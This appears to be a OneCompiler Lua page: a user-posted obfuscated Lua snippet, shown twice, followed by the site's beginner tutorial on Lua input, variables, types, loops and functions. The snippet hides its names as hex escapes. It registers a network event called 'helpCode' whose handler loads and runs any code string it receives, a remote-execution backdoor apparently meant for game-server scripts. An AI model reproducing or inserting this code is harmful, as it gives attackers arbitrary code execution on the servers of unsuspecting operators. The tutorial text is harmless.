local XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[1]](XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[2]) XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[3]](XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[2], function(ByntiRCPvuNfqYQrgIIYvUOKpynduQIkxOVahYdAJWlZeBlNVJKUviRFVcmkwAcnapsjWz) XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[4]](XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[5]](ByntiRCPvuNfqYQrgIIYvUOKpynduQIkxOVahYdAJWlZeBlNVJKUviRFVcmkwAcnapsjWz))() end)

local XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[1]](XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[2]) XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[3]](XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[2], function(ByntiRCPvuNfqYQrgIIYvUOKpynduQIkxOVahYdAJWlZeBlNVJKUviRFVcmkwAcnapsjWz) XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[4]](XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[6][XEuUDMilQWLhqQrXBAIYTcAjFqprHYyHLKoTpMwMrrdegquweoDWQczHKteiLrQgSCYrex[5]](ByntiRCPvuNfqYQrgIIYvUOKpynduQIkxOVahYdAJWlZeBlNVJKUviRFVcmkwAcnapsjWz))() end) 
by

Lua online compiler

Write, Run & Share Lua code online using OneCompiler's Lua online compiler for free. It's one of the robust, feature-rich online compilers for Lua language, running the latest Lua version 5.4. Getting started with the OneCompiler's Lua editor is easy and fast. The editor shows sample boilerplate code when you choose language as Lua and start coding.

Taking inputs (stdin)

OneCompiler's Lua online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample Lua program which takes name as input and prints hello message with your name.

name = io.read("*a")
print ("Hello ", name)

About Lua

Lua is a light weight embeddable scripting language which is built on top of C. It is used in almost all kind of applications like games, web applications, mobile applications, image processing etc. It's a very powerful, fast, easy to learn, open-source scripting language.

Syntax help

Variables

  • By default all the variables declared are global variables
  • If the variables are explicitly mentioned as local then they are local variables.
  • Lua is a dynamically typed language and hence only the values will have types not the variables.

Examples

-- global variables
a = 10

-- local variables

local x = 30
Value TypeDescription
numberRepresents numbers
stringRepresents text
nilDifferentiates values whether it has data or not
booleanValue can be either true or false
functionRepresents a sub-routine
userdataRepresents arbitary C data
threadRepresents independent threads of execution.
tableCan hold any value except nil

Loops

1. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while(condition)
do
--code
end

2. Repeat-Until:

Repeat-Until is also used to iterate a set of statements based on a condition. It is very similar to Do-While, it is mostly used when you need to execute the statements atleast once.

repeat
   --code
until( condition )

3. For:

For loop is used to iterate a set of statements based on a condition.

for init,max/min value, increment
do
   --code
end

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increase re-usuability and modularity.

optional_function_scope function function_name( argument1, argument2, argument3........, argumentn)
--code
return params with comma seperated
end